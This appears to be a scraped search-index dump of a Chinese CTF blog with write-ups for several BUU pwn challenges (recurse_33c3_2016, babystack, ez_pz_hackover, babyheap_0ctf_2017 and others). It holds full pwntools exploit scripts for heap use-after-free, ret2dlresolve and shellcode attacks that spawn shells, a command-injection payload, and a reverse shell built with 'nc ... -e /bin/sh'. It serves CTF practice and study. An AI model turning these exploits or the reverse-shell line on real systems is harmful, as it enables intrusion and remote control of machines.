found NX: NX enabled PIE: PIE enabled 一、程序逻辑 程序启动后先问名字，然后进入一个菜单:\nwelcome to recurse what\u0026#39;s your name? Hi, \u0026lt;name\u0026gt; What would you like to do? 1) recurse 2) recurse!!! 3) recurse?! 4) iterate 菜单对应逻辑大致是：\n1) recurse 递归调用当前 challenge 对象 2) recurse!!! 新建一个 challenge 对象，再递归进去 3) recurse?! vfork() 一个子进程，然后 execl(\u0026quot;/proc/self/exe\u0026quot;, \u0026quot;fork\u0026quot;, name, NULL) 4) iterate 什么都不做，继续循环 \u0026gt;4 返回上一层 这个题的关键不是传统栈溢出，而是 C++ 对象 + vfork + destructor + SafeStack 组合出的 UAF。\n二、核心漏洞点 1. option 3 的危险行为 3) recurse?! 最终会走到类似下面的逻辑：\npid = vfork(); if (pid == 0) { execl(\u0026#34;/proc/self/exe\u0026#34;, \u0026#34;fork\u0026#34;, current_name, NULL); err(1, ...); // 如果 execl 失败，这里会 exit() } waitpid(pid, ...); 问题在于：\nvfork() 之后，子进程和父进程共享地址空间，直到子进程 execve 或 _exit 这里如果 execl() 失败，就会进入 err() err() 内部会调用 exit() exit() 会执行全局对象析构函数 这就把父进程还在用的全局 C++ 对象提前析构掉了\n也就是：\n全局对象被 free 父进程继续运行 形成 use-after-free 三、为什么可以让 execl 失败 这个题里 execl 的第三个参数是当前字符串内容。\n只要把当前字符串做得足够大，execve 处理参数时就会失败，于是会走到 err()-\u0026gt;exit() 这条危险路径。\n原始利用里用的是一个非常长的名字：\nb\u0026#34;A\u0026#34; * (4095 * 34 - 61) 这样就能稳定触发 execl 失败，从而把全局对象打成 UAF。\n四、SafeStack 对利用的影响 这题开启了 clang 的 SafeStack。\n它会把：\n返回地址等“安全数据”放在 safe stack 普通局部对象、字符串对象等放在 unsafe stack 这意味着：\n传统覆盖返回地址的打法不适合 但是 unsafe stack 和 libc 的相对位置是稳定的 题目可以通过 UAF + 堆风水 + SafeStack 固定偏移，最终把堆分配导向 unsafe stack 这也是这题最核心的利用思路。\n五、利用思路总览 整体利用链是：\n进入递归，准备一批特定大小的 std::string 触发 vfork + err + exit，把全局 challenge 对象析构，制造 UAF 继续申请堆块，把被 free 的内容重新占用 通过大 chunk 泄漏 unsorted bin 指针，拿到 libc 由 libc 推出 SafeStack 的目标地址 伪造 fastbin 链，把下一次分配劫持到 SafeStack 上 再次改写字符串对象的指针，让它指向 __free_hook - 8 写入 sh;# 和 system 触发 free，等价执行： system(\u0026#34;sh;#\u0026#34;) 拿到 shell 后读 flag 六、libc 泄漏 UAF 之后，利用一批分配把被释放的全局对象内容重新布置。\n接着申请一个较大的 chunk，让它进入 unsorted bin，再从程序打印的字符串内容里拿到 libc 指针。\n在 BUU 这个环境里，泄漏对应的是 glibc 2.23 的 unsorted bin 指针，使用的偏移是：\nlibc_leak_off = 0x3c4b78 所以：\nlibc_base = leaked_addr - 0x3c4b78 我实际打出来的 libc 基址类似：\n0x7fbb628d7000 七、SafeStack 偏移 原始 33c3 远端环境和 BUU 的环境在 SafeStack 相对 libc 的偏移上不一样。\n这个题在 BUU 上稳定可用的是：\nsafestack = libc_base - 0x408 不是原始 writeup 里那组远端偏移。\n这一步如果错了，后面把 fastbin 打到栈上的阶段就会直接崩。\n八、堆利用阶段 利用中先准备一些 0x51 大小的字符串对象：\nfor _ in range(20): enter(io, b\u0026#34;X\u0026#34; * 0x51) for _ in range(20): leave(io) 这一步的作用是：\n在递归层里留下若干满足条件的字符串对象 后面把 fastbin chunk 打到 SafeStack 上时，需要伪造的对象能通过 size 检查 之后通过一组固定分配：\nfor _ in range(8): enter(io, b\u0026#34;A\u0026#34; * 48) enter(io, b\u0026#34;C\u0026#34; * 128) for _ in range(9): leave(io) 把 unsorted bin 指针泄出来。\n九、把 fastbin 打到 SafeStack 泄漏 libc 后，先把某次分配的目标改成：\np64(safestack) 然后继续布置若干小 chunk：\nenter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;X\u0026#34; * 15) enter(io, b\u0026#34;C\u0026#34; * 81) for _ in range(7): enter(io, b\u0026#34;X\u0026#34; * 48) 再伪造一些 chunk 元数据：\nenter(io, p64(0x30) + b\u0026#34;\\x30\u0026#34;) enter(io, p64(0x30) + b\u0026#34;\\x30\u0026#34;) enter(io, p64(0x60)) enter(io, p64(0x21)) 最后：\nenter(io, b\u0026#34;F\u0026#34; * 40 + b\u0026#34;\\xa0\u0026#34;) 这一分配会落到 SafeStack 上，并进一步改写上层字符串对象的指针。\n十、改写 __free_hook 当字符串对象指针已经可控后，把它改到：\n__free_hook - 8 对应 BUU 这边 glibc 2.23 的偏移：\nfree_hook_off = 0x3c67a8 system_off = 0x45390 写入内容：\np64(libc_base + free_hook_off - 8) * 5 + p64(0x30) 然后连续 leave() 若干次，让控制流回到合适的位置，再送最终 payload：\nb\u0026#34;sh;#\u0026#34;.ljust(8, b\u0026#34;A\u0026#34;) + p64(libc_base + system_off) 此时会把：\n__free_hook 改成 system 待 free 的字符串内容开头变成 \u0026quot;sh;#\u0026quot; 于是下一次 free 时就变成：\nsystem(\u0026#34;sh;#\u0026#34;) 从而起 shell。\n十一、为什么读 flag 的命令前面要补分号 实际远端 shell 切换后，会吞掉后续输入的第一个字节。\n所以直接发：\ncat flag 会变成：\nat flag 因此脚本里用的是：\nb\u0026#34;;/bin/cat flag; /bin/cat /flag\u0026#34; 这样即使丢掉第一个字节，也还能正确执行。\n十二、最终 exp from pwn import * import re import struct import sys context.clear(arch=\u0026#34;amd64\u0026#34;, os=\u0026#34;linux\u0026#34;) context.log_level = \u0026#34;info\u0026#34; HOST = \u0026#34;node5.buuoj.cn\u0026#34; PORT = 26682 def start(): return remote(HOST, PORT) def enter(io, name=b\u0026#34;AAAA\u0026#34;): io.recvuntil(b\u0026#34;iterate\u0026#34;) io.sendline(b\u0026#34;2\u0026#34;) io.recvuntil(b\u0026#34;name?\u0026#34;) io.sendline(name) def leave(io): io.recvuntil(b\u0026#34;iterate\u0026#34;) io.sendline(b\u0026#34;6\u0026#34;) def trigger_uaf(io): enter(io, b\u0026#34;A\u0026#34; * (4095 * 34 - 61)) for _ in range(33): io.recvn(4095) io.recvuntil(b\u0026#34;iterate\u0026#34;) io.sendline(b\u0026#34;3\u0026#34;) leave(io) io = start() libc_leak_off = 0x3C4B78 free_hook_off = 0x3C67A8 system_off = 0x45390 io.recvuntil(b\u0026#34;name?\u0026#34;) io.sendline(b\u0026#34;A\u0026#34; * 16) io.recvuntil(b\u0026#34;iterate\u0026#34;) io.sendline(b\u0026#34;1\u0026#34;) io.recvuntil(b\u0026#34;name?\u0026#34;) io.sendline(b\u0026#34;A\u0026#34; * 400) for _ in range(20): enter(io, b\u0026#34;X\u0026#34; * 0x51) for _ in range(20): leave(io) trigger_uaf(io) iter_cnt = 8 for _ in range(iter_cnt): enter(io, b\u0026#34;A\u0026#34; * 48) enter(io, b\u0026#34;C\u0026#34; * 128) for _ in range(iter_cnt + 1): leave(io) leak = io.recvuntil(b\u0026#34;iterate\u0026#34;) leak_off = leak.find(b\u0026#34;\\x7f\\x00\\x00\u0026#34;) - 5 libc_base = struct.unpack(\u0026#34;\u0026lt;Q\u0026#34;, leak[leak_off:leak_off + 8])[0] - libc_leak_off safestack = libc_base - 0x408 io.sendline(b\u0026#34;1\u0026#34;) io.recvuntil(b\u0026#34;name?\u0026#34;) io.sendline(p64(safestack)) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;D\u0026#34; * 9) enter(io, b\u0026#34;X\u0026#34; * 15) enter(io, b\u0026#34;C\u0026#34; * 81) for _ in range(7): enter(io, b\u0026#34;X\u0026#34; * 48) enter(io, p64(0x30) + b\u0026#34;\\x30\u0026#34;) enter(io, p64(0x30) + b\u0026#34;\\x30\u0026#34;) enter(io, p64(0x60)) enter(io, p64(0x21)) enter(io, b\u0026#34;F\u0026#34; * 40 + b\u0026#34;\\xa0\u0026#34;) io.recvuntil(b\u0026#34;iterate\u0026#34;) io.sendline(b\u0026#34;1\u0026#34;) io.recvuntil(b\u0026#34;name?\u0026#34;) io.sendline(p64(libc_base + free_hook_off - 8) * 5 + p64(0x30)) leave(io) leave(io) leave(io) leave(io) io.recvuntil(b\u0026#34;Hi, \u0026#34;) io.sendline(b\u0026#34;1\u0026#34;) io.sendline(b\u0026#34;sh;#\u0026#34;.ljust(8, b\u0026#34;A\u0026#34;) + p64(libc_base + system_off)) io.sendline(b\u0026#34;8\u0026#34;) io.sendline(b\u0026#34;;/bin/cat flag; /bin/cat /flag\u0026#34;) data = io.recvrepeat(2) m = re.search(rb\u0026#34;flag\\{[^}]+\\}\u0026#34;, data) if m: sys.stdout.buffer.write(m.group(0) + b\u0026#34;\\n\u0026#34;) else: sys.stdout.buffer.write(data) io.close() 十三、总结 这题的重点不是传统栈溢出，而是：\nvfork() 后错误地走到 exit() 全局 C++ 对象被提前析构 形成 UAF 再结合 SafeStack 的固定相对偏移 最终实现 __free_hook -\u0026gt; system 一句话概括就是：\nvfork/exit 导致全局对象 UAF + 堆风水泄漏 libc + 劫持到 SafeStack + __free_hook getshell ","date":"April 16, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E5%8D%81%E5%85%AD%E9%A1%B5/26-1-1/recurse_33c3_2016-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776297600,"title":"recurse_33c3_2016 WP"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"简单栈溢出\n","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-1/2-3-1/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"2-3-1"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 存在一个栈溢出，但要绕过一个canary。 “gift”：在printf处存在一个格式化字符串漏洞。能输入的限定是%6s。只能传6个字符，其中已经固定了四个“%x$p”(x是一个个位数的数字)一个个数字尝试，当x=6的时候，输出的是我们输入的部分\nr.recvuntil(\u0026#34;I\u0026#39;ll give u some gift to help u!\u0026#34;) payload = b\u0026#39;A%6$pA\u0026#39; r.send(payload) 所以我们的输入部分偏移是6 接下来看canary的位置： canary 输入aaaaaa 可以看到aaaaaa存在了rsp的位置，canary在rsp下面8个字节，所以canary的偏移应该是7 。也就是%7$p 同时也注意到rax的值跟canary是一样的（虽然不知道有什么用）\n","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-4/bjdctf_2020_babyrop2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"bjdctf_2020_babyrop2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from hashlib import sha256 context(log_level = \u0026#39;debug\u0026#39;) EXCV = \u0026#39;./babystack\u0026#39; #libc_load = \u0026#34;./libc.so\u0026#34; #ENV = {\u0026#34;LD_PRELOAD\u0026#34;:libc_load} e = ELF(EXCV) #libc = ELF(libc_load) libc = e.libc #io = process(EXCV,env = ENV) #io = process(EXCV) io = remote(\u0026#39;202.120.7.202\u0026#39;,\u0026#39;6666\u0026#39;) def debug(): gdb.attach(io) #---------------------------------------------------- overflow = 0x0804843B　# 栈溢出地址，从IDA中获得 dynsym = 0x080481cc # readelf -S babystack | grep \u0026#34;.dynsym\u0026#34; dynstr = 0x0804822c # readelf -S babystack | grep \u0026#34;.dynstr\u0026#34; rel_plt = 0x080482b0 # objdump -s -j .rel.plt babystack bss = 0x0804A020 # readelf -S babystack | grep \u0026#34;.bss\u0026#34; base = bss+0x400 fake_rel_addr = base+80 #fake_rel fake_sym_addr = fake_rel_addr+8 #fake_sym pop_ebp = 0x080484eb ppp_ret = 0x080484e9 # ROPgadget --binary bof --only \u0026#34;pop|ret\u0026#34; lev_ret = 0x080483a8 # ROPgadget --binary bof --only \u0026#34;leave|ret\u0026#34; plt_0 = 0x080482F0 # objdump -d -j .plt bof align = 0x10-(fake_sym_addr-dynsym)\u0026amp;0xf # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小 fake_sym_addr += align index_dynsym = (fake_sym_addr-dynsym)/0x10 #除以0x10因为Elf32_Sym结构体的大小为0x10，得到dynsym索引号 r_info = (index\u0026lt;\u0026lt;8)|7 fake_str_addr = fake_sym_addr+0x10 #fake_str str_off = fake_str_addr-dynstr shell = base+128 rel_off = fake_rel_addr-rel_plt rd_plt = e.plt[\u0026#39;read\u0026#39;] rd_got = e.got[\u0026#39;read\u0026#39;] fake_reloc=p32(rd_got)+p32(r_info) fake_sym=p32(str_off)+p32(0)+p32(0)+p32(0x12) def crack(chal,sol): sh = sha256(chal + sol) if(sh.digest().startswith(\u0026#39;\\0\\0\\0\u0026#39;)): log.success(sh) return 1 return 0 #---------------------------------------------------- chal = io.recvline() sol = \u0026#39;\u0026#39; for i in xrange(0,0x100000000): tsol = p32(i) if(crack(chal,tsol)==1): sol = tsol break io.send(sol) raw_input() payload = \u0026#39;a\u0026#39;*(0x2c) payload += p32(rd_plt) payload += p32(overflow) payload += p32(0) payload += p32(base) payload += p32(0x1000) io.send(payload) raw_input() payload2 = \u0026#39;AAAA\u0026#39; payload2 += p32(plt_0) payload2 += p32(rel_off) payload2 += \u0026#39;AAAA\u0026#39; payload2 += p32(shell) payload2 += \u0026#39;A\u0026#39;*(80-len(payload)) payload2 += fake_reloc payload2 += \u0026#39;B\u0026#39;*align payload2 += fake_sym payload2 += \u0026#39;system\\x00\u0026#39; payload2 += \u0026#39;C\u0026#39;*(128-len(payload)) payload2 += \u0026#39;/bin/sh\\x00\u0026#39; payload2 += \u0026#39;END\u0026#39; io.send(payload2) raw_input() payload3 = \u0026#39;a\u0026#39;*0x2c payload3 += p32(pop_ebp) payload3 += p32(base) payload3 += p32(lev_ret) io.send(payload3) io.interactive() ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-2/exp1/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"exp1"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"#!/usr/bin/env python # coding=utf-8 from pwn import * import roputils, sys, string, itertools from hashlib import sha256 LOCAL = True HOST = \u0026#34;202.120.7.202\u0026#34; PORT = 6666 #addr_bss=rop.section(\u0026#39;.bss\u0026#39;) charset = string.letters+string.digits def calcpow(chal): for combo in itertools.combinations_with_replacement(string.letters+string.digits,4): sol = \u0026#39;\u0026#39;.join(combo) if sha256(chal + sol).digest().startswith(\u0026#34;\\0\\0\\0\u0026#34;): return sol return None def get_connection(): return remote(\u0026#34;localhost\u0026#34;, 6666) if LOCAL else remote(HOST, PORT) def exploit(): log.info(\u0026#34;Solve pow \u0026#34;) sol = None while sol == None: r = get_connection() sol = calcpow(r.recvline().strip()) if sol == None: r.close() r.send(sol) log.info(\u0026#34;Stage1: Prepare bigger read for ropchain\u0026#34;) payload = \u0026#34;A\u0026#34;*40 payload += p32(0x804a500) payload += p32(0x8048446) payload += p32(80) # exact length of stage 2 payload payload += \u0026#34;B\u0026#34;*(64-len(payload)) #r.sendline(payload) log.info(\u0026#34;Stage2: Send ret2dlresolve executing reverse shell\u0026#34;) payload += \u0026#34;A\u0026#34;*40 payload += p32(0x804a500) rop=roputils.ROP(\u0026#39;./babystack\u0026#39;) addr_bss = rop.section(\u0026#39;.bss\u0026#39;) # Read the fake tabs from payload2 to bss payload += rop.call(\u0026#34;read\u0026#34;, 0, addr_bss, 150) # Call dl_resolve with offset to our fake symbol payload += rop.dl_resolve_call(addr_bss+60, addr_bss) # Create fake rel and sym on bss payload2 = rop.string(\u0026#34;nc %s 7777 -e /bin/sh\u0026#34; % IP) # payload2 = rop.string(\u0026#34;/bin/sh\u0026#34;) payload2 += rop.fill(60, payload2) # Align symbol to bss+60 payload2 += rop.dl_resolve_data(addr_bss+60, \u0026#34;system\u0026#34;) # Fake r_info / st_name payload2 += rop.fill(150, payload2) payload += payload2 payload = payload.ljust(0x100, \u0026#34;\\x00\u0026#34;) r.sendline(payload) r.interactive() return if __name__ == \u0026#34;__main__\u0026#34;: e = ELF(\u0026#34;./babystack\u0026#34;) if len(sys.argv) \u0026gt; 1: LOCAL = False exploit() else: LOCAL = True exploit() ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-2/exp2-roputils/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"exp2-roputils"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 主函数中以下部分会导致无法进行反汇编但也同时是其漏洞。这个部分会导致程序将栈上的部分当作程序执行。\nlea rax, [rbp+buf] call rax mov eax, 0 只要写入一个shellcode就结束了 shellcode见前一道wp 最后的exp：exp\n","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-1/mrctf2020_shellcode/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 我们输入的是s chall函数里有这么一段，s要包含crashme就能通过这里的的判断。\nfgets(s, 1023, stdin); n = strlen(s); v3 = memchr(s, 10, n); if ( v3 ) *v3 = 0; printf(\u0026#34;\\nWelcome %s!\\n\u0026#34;, s); 寻找‘/n’，memchr是从s开始在往后n个字节里寻找‘/n’，将‘/n’替换成‘/0’。n是输入的s的字符数。这个操作就是删掉所有的‘/n’，替换成‘/0’。 后续将0x400的字符传入vuln 再将传入的字符复制到dest中。dest的大小是0x32 这里可以构造栈溢出。 文件里有printf，可以用这个进行ret2libc 网上的wp说dest实际上是16个字节，\npwndbg\u0026gt; i r eax 0xffffc5e6 -14874 ecx 0x0 0 edx 0xffffc9e6 -13850 ebx 0xf7f9fe14 -134611436 esp 0xffffc5e0 0xffffc5e0 ebp 0xffffc618 0xffffc618 esi 0x8048720 134514464 edi 0xf7ffcb60 -134231200 eip 0x8048600 0x8048600 \u0026lt;vuln+28\u0026gt; eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 k0 0x0 0 k1 0x0 0 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0 pwndbg\u0026gt; search crashme Searching for byte: b\u0026#39;crashme\u0026#39; ez_pz_hackover_2016 0x8048853 arpl word ptr [edx + 0x61], si /* \u0026#39;crashme\u0026#39; */ ez_pz_hackover_2016 0x8049853 \u0026#39;crashme\u0026#39; [heap] 0x804b1a0 \u0026#39;crashme\\n\u0026#39; [stack] 0xffffc565 0x73617263 (\u0026#39;cras\u0026#39;) [stack] 0xffffc602 \u0026#39;crashme\u0026#39; 这里可以看到我们输入的crashme在0xffffc602 ebp在0xffffc618，确实是0x16 。 第一次的脚本exp1 最后的shellcode用：shellcode=asm(shellcraft.sh()) s的开头： 我们去找/bin/sh\n对于shellcode的生成请参考ai大佬生成的文章Shellcode 生成规则与 Pwndbg 动态调试 在这里我们调试后可以看到栈上的内容\n00:0000│ esp 0xfffd7820 ◂— 1 01:0004│ eax-2 0xfffd7824 ◂— 0x787c788c 02:0008│-030 0xfffd7828 ◂— 0x400fffd 03:000c│-02c 0xfffd782c ◂— 0x70000 04:0010│-028 0xfffd7830 ◂— 0xe79e0000 05:0014│-024 0xfffd7834 ◂— 0xf7ef 06:0018│-020 0xfffd7838 ◂— 0x78dc0000 07:001c│-01c 0xfffd783c ◂— 0x8b8cfffd 08:0020│-018 0xfffd7840 ◂— 0x7263f7f2 09:0024│-014 0xfffd7844 ◂— \u0026#39;ashme\u0026#39; 0a:0028│-010 0xfffd7848 ◂— 0x61610065 /* \u0026#39;e\u0026#39; */ 0b:002c│-00c 0xfffd784c ◂— \u0026#39;aaaaaaaaaaaaaaaa\u0026#39; ... ↓ 2 skipped 0e:0038│ ebp 0xfffd7858 ◂— \u0026#39;aaaa\u0026#39; 0f:003c│+004 0xfffd785c ◂— 0 10:0040│+008 0xfffd7860 ◂— 0x2f68686a (\u0026#39;jhh/\u0026#39;) 11:0044│+00c 0xfffd7864 ◂— 0x68732f2f (\u0026#39;//sh\u0026#39;) 12:0048│+010 0xfffd7868 ◂— 0x6e69622f (\u0026#39;/bin\u0026#39;) 13:004c│+014 0xfffd786c ◂— 0x168e389 14:0050│+018 0xfffd7870 ◂— 0x81010101 0xfffd7860是shellcode的起始地址 是s的起始地址。两者相差0x1c，也就是shellcode的位置在 ==s_addr - 0x1c== 将其写到脚本中得到最终的expexp2\n","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-2/ez_pz_hachover_2016/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"好久没做了 一道ret2libc，但看好像还有ret2csu exp：exp 以前libcsearcher里的脚本跟这次的有点区别，以这次的为准，\npayload = b\u0026#39;A\u0026#39; * offset + p64(ret_addr) + p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(got) + p64(4) + p64(plt) + p64(main_addr) ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-3/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 这里会直接运行dest里的内容 🐎的为什么不能贴表情\nfrom pwn import * r = remote(\u0026#34;node5.buuoj.cn\u0026#34;,26418) r.recvuntil(b\u0026#34;Please input u choose:\u0026#34;) payload = b\u0026#39;1\u0026#39; r.sendline(payload) r.recvuntil(b\u0026#34;Please input the ip address:\u0026#34;) payload = b\u0026#39;;\u0026#39; payload += b\u0026#39;/bin/sh\u0026#39; r.sendline(payload) r.interactive() ","date":"April 15, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-1/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776211200,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" 选择1： void __fastcall allocate(__int64 a1) { int i; // [rsp+10h] [rbp-10h] int v2; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h] for ( i = 0; i \u0026lt;= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf(\u0026#34;Size: \u0026#34;); v2 = gets(); if ( v2 \u0026gt; 0 ) { if ( v2 \u0026gt; 4096 ) v2 = 4096;//限制元素个数为4096 v3 = calloc(v2, 1u);//限制堆大小为4096字节，4kb if ( !v3 ) //这个部分是负责写入元数据 exit(-1); *(_DWORD *)(24LL * i + a1) = 1;//标记为已使用，设置第 i 个 chunk 的 \u0026#34;used\u0026#34; 标志为 1（表示已分配） *(_QWORD *)(a1 + 24LL * i + 8) = v2;// 保存 size，在偏移 +8 处存入用户请求的 size（例如 128） *(_QWORD *)(a1 + 24LL * i + 16) = v3;// 保存指针，在偏移 +16 处存入 calloc 返回的实际堆内存地址（如 0x5555555592a0） printf(\u0026#34;Allocate Index %d\\n\u0026#34;, i); } return; } } } 申请一个堆块\n选择2： __int64 __fastcall fill(__int64 a1) { __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h] printf(\u0026#34;Index: \u0026#34;); result = gets(); v2 = result; if ( (unsigned int)result \u0026lt; 0x10 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) //是否已分配 { printf(\u0026#34;Size: \u0026#34;); result = gets(); //实际应该是scanf（“%d”），这种gets（）到int中的一般是反编译失真 v3 = result; if ( (int)result \u0026gt; 0 ) { printf(\u0026#34;Content: \u0026#34;); return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//这里没有进行边界检查，是基础的堆溢出 } } } return result; } 其中sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3)如下，是一个非常友好的输入函数，无截断，支持大输入，信号安全，不添加终止符：\nunsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2) { unsigned __int64 v3; // [rsp+10h] [rbp-10h] ssize_t v4; // [rsp+18h] [rbp-8h] if ( !a2 ) return 0; v3 = 0; while ( v3 \u0026lt; a2 ) { v4 = read(0, (void *)(v3 + a1), a2 - v3); if ( v4 \u0026gt; 0 ) { v3 += v4; } else if ( *_errno_location() != 11 \u0026amp;\u0026amp; *_errno_location() != 4 ) { return v3; } } return v3; } 选择3： __int64 __fastcall freee(__int64 a1) { __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h] printf(\u0026#34;Index: \u0026#34;); result = gets(); v2 = result; if ( (unsigned int)result \u0026lt; 0x10 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0; } } return result; } 作用是清空对应的堆块\n选择4： int __fastcall dump(__int64 a1) { int result; // eax int v2; // [rsp+1Ch] [rbp-4h] printf(\u0026#34;Index: \u0026#34;); result = gets(); v2 = result; if ( (unsigned int)result \u0026lt; 0x10 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts(\u0026#34;Content: \u0026#34;); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16),);//输出从*(_QWORD *)(24LL * v2 + a1 + 16)开始 *(_QWORD *)(24LL * v2 + a1 + 8)个字符 return puts(byte_14F1); } } return result; } 其中sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8))跟前面的输入函数一样是一个很友好的输出函数：\nunsigned __int64 __fastcall sub_130F(__int64 a1, unsigned __int64 a2) { unsigned __int64 v3; // [rsp+10h] [rbp-10h] ssize_t v4; // [rsp+18h] [rbp-8h] v3 = 0; while ( v3 \u0026lt; a2 ) { v4 = write(1, (const void *)(v3 + a1), a2 - v3); if ( v4 \u0026gt; 0 ) { v3 += v4; } else if ( *_errno_location() != 11 \u0026amp;\u0026amp; *_errno_location() != 4 ) { return v3; } } return v3; } 选择5： return 0；\n利用： 神仙发言仅作参考：(不过他的动调写的还挺好：babyheap_0ctf_2017-CSDN博客) ==堆题的做法无非就是利用各种绕过去获得libc的偏移，然后去修改malloc_hook或者free_hook为system函数，最后去触发获取shell== 不过对于前期应该没什么问题。他的函数定义也挺好\ndef dbg(): gdb.attach(p) pause() def add(size): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(1)) p.sendlineafter(\u0026#34;Size: \u0026#34;,str(size)) def edit(index, content): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(2)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) p.sendlineafter(\u0026#34;Size: \u0026#34;,str(len(content))) p.sendafter(\u0026#34;Content: \u0026#34;,content) def free(index): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(3)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) def show(index): p.sendlineafter(\u0026#34;Command: \u0026#34;,str(4)) p.sendlineafter(\u0026#34;Index: \u0026#34;,str(index)) #———————————————— #版权声明：本文为CSDN博主「djhtdjdywgjc」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 #原文链接：https://blog.csdn.net/djhtdjdywgjc/article/details/129701870 利用思路： （1）搞几个堆块 （2）uaf改fd，想办法输出什么地址搞到libcbase （3）用malloc_hook来getshell 至于exploit中的mainarena说白了就是大于0x80的chunk释放之后存到unsortedbin中时fd指针存在了mainarena+0x58也就是mainarena+88中。详见main_arena + 88是什么 关于libc的泄露还可以参考 泄露libc地址的原理详解\u0026ndash;以babyheap_0ctf_2017为例 那个神秘的0x4526a是onegaget:one_gadget,它不是一个函数名，而是一个 在特定版本的 libc 中，能直接执行 /bin/sh 的“魔法地址\nexp1： from pwn import* from LibcSearcher import* context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p=process(\u0026#39;./babyheap\u0026#39;) #p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,27442) def alloc(size): p.sendlineafter(b\u0026#39;Command:\u0026#39;,str(1)) p.sendlineafter(b\u0026#39;Size:\u0026#39;,str(size)) def fill(index,size,content): p.sendlineafter(b\u0026#39;Command:\u0026#39;,str(2)) p.sendlineafter(b\u0026#39;Index:\u0026#39;,str(index)) p.sendlineafter(b\u0026#39;Size:\u0026#39;,str(size)) p.sendafter(b\u0026#39;Content:\u0026#39;,content) def free(index): p.sendlineafter(b\u0026#39;Command:\u0026#39;,str(3)) p.sendlineafter(b\u0026#39;Index:\u0026#39;,str(index)) def dump(index): p.sendlineafter(b\u0026#39;Command:\u0026#39;,str(4)) 